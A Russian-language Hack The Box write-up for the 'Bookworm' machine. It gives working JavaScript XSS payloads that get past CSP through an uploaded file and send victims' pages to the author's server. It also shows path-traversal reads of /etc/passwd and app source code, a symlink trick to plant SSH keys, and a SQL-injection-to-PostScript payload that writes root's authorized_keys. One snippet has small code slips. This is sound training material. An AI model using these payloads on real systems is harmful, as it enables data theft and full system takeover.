HTB Bookworm. Эксплуатируем сложную XSS с байпасом CSP
В этом райтапе я покажу, как можно использовать уязвимость в механизме контроля загрузки файлов для обхода Content Security Policy и эксплуатации сложной XSS. Найденная затем LFI поможет получить важные данные для доступа к хосту, а для повышения привилегий используем SQL-инъекцию через PostScript.
Наша цель — захват рута на машине Bookworm с площадки Hack The Box. Уровень ее сложности — «безумный».
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего два открытых порта:
SSH, как обычно, оставляем на потом: без учетных данных там ничего не сделать. В первую очередь идем смотреть веб‑сайт.
ТОЧКА ВХОДА
На сайте есть возможность зарегистрироваться и авторизоваться, что мы и делаем.
Пробегаемся по сайту, чтобы определить возможные точки входа. К примеру, в профиле пользователя можно установить аватар, загрузив картинку. При загрузке файлов часто встречаются уязвимости, которые позволяют загружать не только картинки.
Сам сайт представляет собой магазин книг, поэтому добавим файл в корзину, а затем просмотрим ее.
В корзине у нас есть возможность изменить запись, а это значит, что тут может быть уязвимость как XXS, так и SSTI.
ТОЧКА ОПОРЫ
XSS
Выбираем пункт изменения записи и пробуем подключить файл с нашего сервера.
<img src="http://10.10.14.118/test_xss">
После отправки нагрузки смотрим логи веб‑сервера и видим там запрос.
Находим запрос в Burp History и обращаем внимание на заголовок CSP.
Content Security Policy — это механизм обеспечения безопасности, с помощью которого можно защищаться от XSS-атак. CSP описывает безопасные источники для загрузки ресурсов и устанавливает правила использования встроенных скриптов. Загрузка с ресурсов, не входящих в белый список, блокируется. В данном случае будут исполняться скрипты только с тестируемого сервера, а значит, нагрузку со своего сервера мы не выполним.
Также после меня какой‑то пользователь добавил товар себе в корзину.
Исходный код страницы раскрывает какой‑то id
, скорее всего, это идентификатор заказа, так как при новой покупке от имени того же пользователя идентификатор обновляется.
Попробуем в нашем запросе поменять идентификатор на изменение записи. Если доступ к заказу не контролируется, то нагрузка выполнится и другой пользователь обратится к файлу на нашем сервере.
На сервер пришел запрос, а значит, мы можем триггерить запросы от имени другого пользователя сайта.
File Upload
Перейдем к загрузке аватарки. Больше всего нас интересует данный запрос в Burp History.
При попытке загрузить шелл получаем ошибку, сообщающую о том, что мы можем загрузить только файлы JPEG и PNG.
При новой загрузке файла перехватываем запрос в Burp Proxy и изменяем содержимое файла на простую строку‑индикатор test_file_upload
. Но получаем уже другую ошибку.
Раз ошибка изменилась, значит, содержимое файла не проверяется. Тогда надо попытаться изменить расширение файла. Первым делом пробуем использовать двойное расширение, разделенное null-символом (%00
). При проверке файла будет учитываться второе расширение, а при загрузке его отсечет из‑за null-символа, и файл сохранится с первым расширением.
После редиректа видим обращение к нашему файлу и отображение его содержимого. Доступ к файлу тоже не проверяется.
curl http://bookworm.htb/static/img/uploads/14
CSP Bypass XSS
Итак, мы можем загрузить на сервер файл с текстовым содержимым. Давай попробуем добавить код на JavaScript, делающий простой запрос на наш сервер.
fetch("http://10.10.14.118/csp_bypass");
Затем в нашей XSS попробуем указать в качестве источника скрипта загруженный на сервер файл.
<script src="/static/img/uploads/14"></script>
Это позволяет нам обойти политику CSP и выполнить произвольный код на JS. Об этом свидетельствуют логи веб‑сервера (Python 3).
Начинаем делать запросы к серверу от имени пользователя и извлекать ответы. Следующий код выполнит запрос на страницу /profile
, затем закодирует ее содержимое в Base64 и отправит в качестве параметра d
на наш сервер.
fetch("http://bookworm.htb/profile").then(async resp => { fetch("http://10.10.14.118/?d=" + btoa(await resp.text()))});
После получения закодированной страницы декодируем ее, сохраняем в файл и открываем через браузер для удобного просмотра.
Видим очередь заказов, каждый со ссылкой. Адрес ссылки получаем из кода страницы.
Теперь попробуем получить страницы заказов. Для этого нужно парсить страницу /profile
и извлекать из кода эти ссылки. Дополним наш код, чтобы он отправлял на наш сервер URI каждого заказа, и повторим атаку.
function exfil(uri) {
fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri));}
function getUris(page) {
const parser = new DOMParser();
const doc = parser.parseFromString(page, 'text/html');
const links = doc.querySelectorAll('tbody a');
const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;}
fetch("http://bookworm.htb/profile").then(async resp => {
const page = await resp.text();
const uris = getUris(page);
for (const uri of uris) {
exfil(uri); }});
Код работает, мы получаем каждую ссылку по отдельности. Теперь снова дополним код: получив ссылку, выполняем запрос на нее, а ответ, как и раньше, кодируем в Base64 и присылаем на наш сервер в параметре d
. Так как страниц несколько, в параметре u
отправляем их URI.
function exfil(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => { fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(await resp.text())); });}
function getUris(page) {
const parser = new DOMParser();
const doc = parser.parseFromString(page, 'text/html');
const links = doc.querySelectorAll('tbody a');
const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;}
fetch("http://bookworm.htb/profile").then(async resp => {
const page = await resp.text();
const uris = getUris(page);
for (const uri of uris) {
exfil(uri); }});
В логах нашего веб‑сервера видим четыре больших запроса. Декодируем и просматриваем их через браузер.
Мы получили ссылки на загрузку как отдельно каждой книги, так и всех книг сразу. Вид ссылки снова узнаем из исходного кода страницы.
Попробуем скачать этот документ. Но сначала по аналогии с предыдущими шагами вытащим из страницы ссылку на PDF.
function getUris(page) {
const parser = new DOMParser();
const doc = parser.parseFromString(page, 'text/html');
const links = doc.querySelectorAll('tbody a');
const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;}
function getFileUri(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => {
const page = await resp.text();
const uris = getUris(page);
for (const u of uris) {
fetch("http://10.10.14.118/?u=" + encodeURIComponent(u)); } });}
fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text();
const uris = getUris(page);
getFileUri(uris[0]);});
Теперь допишем код, выполняющий запрос для полученного адреса и присылающий нам содержимое ответа. Тоже по аналогии с предыдущими шагами.
function exfil(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => { fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(await resp.text())); });}
function getUris(page) {
const parser = new DOMParser();
const doc = parser.parseFromString(page, 'text/html');
const links = doc.querySelectorAll('tbody a');
const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;}
function getFileUri(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => {
const page = await resp.text();
const uris = getUris(page);
for (const u of uris) {
exfil(n); } });}
fetch("http://bookworm.htb/profile").then(async resp => {
const page = await resp.text();
const uris = getUris(page);
getFileUri(uris[0]);});
Получаем строку в Base64, но явно слишком маленькую. При декодировании понимаем, что это страница ошибки.
LFI
Тогда пробуем скачать несколько файлов сразу. Эта функция уже предусмотрена, так что придумывать ничего не нужно. Изменим наш код так, чтобы к полученной функцией getUris()
ссылке на скачивание файла добавлялся еще один файл &bookIds=5
.
function exfil(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => {
var barray = new Uint8Array(await resp.arrayBuffer());
var bindata = '';
for (var i = 0; i < barray.byteLength; i++) {
bindata += String.fromCharCode(barray[i]); }
fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(bindata)); });}
function getUris(page) {
const parser = new DOMParser();
const doc = parser.parseFromString(page, 'text/html');
const links = doc.querySelectorAll('tbody a');
const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;}
function getFileUri(uri) {
fetch("http://bookworm.htb" + uri).then(async resp => {
const page = await resp.text();
const uris = getUris(page);
for (const u of uris) {
const nu = u + "&bookIds=5" exfil(nu); } });}
fetch("http://bookworm.htb/profile").then(async resp => {
const page = await resp.text();
const uris = getUris(page);
getFileUri(uris[0]);});
И получаем уже другой ответ, декодируем файл и проверяем его тип утилитой file.
Это оказался архив ZIP, который содержит два файла — те, что мы указывали по идентификаторам.
Проверяем метаданные PDF-файлов с помощью exiftool и определяем, что они конвертированы с помощью PyFPDF 1.7.2. Значит, в каталоге лежат не сами PDF, а их текстовые прообразы в виде текста или даже HTML.
Попробуем вместо идентификатора указать путь к произвольному файлу, к примеру /etc/passwd
:
const nu = u + "&bookIds=../../../../../../../../etc/passwd"
Теперь в скачанном архиве будет присутствовать неизвестный файл с содержимым /etc/passwd
.
SSH-ключ прочитать не получилось, перейдем к исходным кодам приложения. Для начала попробуем прочитать файл /proc/self/cmdline
, который будет содержать командную строку текущего процесса, в данном случае веб‑сервера. Команда должна будет раскрыть нам путь к файлам на сервере. Файл в архиве оказался очень маленьким и содержал текст в сыром виде.
Node.js запускает файл index.js
, но не по полному пути, а из каталога приложения. Узнать этот каталог можно из файла /proc/self/cwd
.
Теперь знаем запущенный файл и путь к нему, так что можем прочитать содержимое: /var/www/bookworm/index.js
.
В файле видим подключение модуля database
, который должен содержать учетные данные для подключения к СУБД. Получим содержимое файла /var/www/bookworm/database.js
.
С полученным паролем удается авторизоваться на SSH от имени пользователя frank
.
ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе много информации, отбираем только самое важное.
В списке прослушиваемых портов находим непонятный порт 3001.
В домашнем каталоге пользователя neil
присутствует проект converter
.
Так как нам доступны файлы проекта, можно загрузить на хост статически собранный архиватор 7zip, заархивировать весь каталог и скачать на свой компьютер.
./7za a converter /home/neil/converter/index.js /home/neil/converter/node_modules
После загрузки проекта открываем его в любом редакторе кода и изучаем. С первых строк становится понятно, что именно этот проект и работает на порте 3001 (строка 10).
Давай проверим найденное приложение. Для этого нужно «прокинуть» порт 3001 на свой хост с помощью SSH.
ssh [email protected] -L 3001:127.0.0.1:3001
Весь трафик, который мы пошлем на локальный порт 3001, будет туннелирован на порт 3001 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Сразу скажу, что, хоть у нас и есть исходный код, оказалось совсем не сложно найти уязвимость и без его изучения. При конвертировании файла на сервер отправляются его имя, тип и содержимое, а также расширение, характерное для формата, в который мы хотим конвертировать. В ответ сервер просто возвращает содержимое файла.
При этом на сервере создается файл в каталоге output
.
Сразу пробуем вместо расширения файла указать путь с обходом каталога.
В итоге к имени файла на сервере просто добавляется указанное нами расширение.
Попробуем выйти из каталога, добавив еще одну последовательность ../
.
Снова проверяем загруженный файл и замечаем обход каталога.
Это значит, что мы можем произвести запись в произвольный файл на сервере. Увы, при попытке перезаписать SSH-ключ пользователя /home/neil/.ssh/authorized_keys
своим ключом, сгенерированным командой ssh-keygen
, получаем ошибку. Но в подобных случаях нас спасают ссылки на файлы. Создадим на сервере ссылку на файл authorized_keys
.
mkdir /tmp/test chmod 777 /tmp/test ln -s /home/neil/.ssh/authorized_keys /tmp/test/qweewq.txt
А теперь попробуем записать ключ по созданной ссылке.
Затем пытаемся подключиться с приватным ключом и получаем сессию пользователя neil
.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Разведку уже проводили, так что при изменении контекста сразу проверяем самые очевидные места. В первую очередь — настройки sudoers.
Здесь видим, что мы можем запустить приложение /usr/local/bin/genlabel
без ввода пароля от имени пользователя root
. Проверим, что это за файл.
Это скрипт на Python, поэтому смотрим его исходный код. Приложение открывает файл dbcreds.txt
, читает пароль для подключения к базе данных и подключается к ней (строки 9–14).
Затем скрипт делает запрос к базе, откуда извлекает много параметров (строки 22–24). Потом читает PostScript-шаблон, заменяет в нем значения теми, что были получены из базы, и сохраняет в новый файл (строки 31–48). В конце запускается процесс ps2pdf
и конвертирует файл PostScript в формат PDF (строки 50–54).
PostScript — это язык программирования, который разработали и используют в Abode для создания PDF-файлов. Если бы мы могли добавить код в файл PS
, то смогли бы записать SSH-ключ еще и руту, но на файл шаблона нет нужных прав. Манипулировать данными, получаемыми из базы данных, тоже не можем. Зато нас выручает используемый в скрипте уязвимый для внедрения кода SQL-запрос.
query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]
С помощью SQL-инъекции мы можем вставить произвольные данные вместо переменной NAME
в шаблоне:
... 50 550 moveto (NAME) show ...
В PS-файл будем вставлять следующий код, который запишет ключ SSH в authorized_keys
.
)show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC)
writestring
outfile1 closefile
(a
Тогда файл PostScript будет выглядеть так:
50 550 moveto
()show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC)
writestring
outfile1 closefile
(a) show
Никаких ошибок быть не должно. Для инъекции будем использовать UNION-нагрузку:
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1 (/root/.ssh/authorized_keys) (w) file def\noutfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC) writestring\noutfile1 closefile\n\n(r' as name, 'r' as addressLine1, 'r' as addressLine2, 'r' as town, 'r' as postcode, 0 as orderId, 1 as userId;"
Пробуем подключиться с приватным ключом и получаем сессию пользователя root.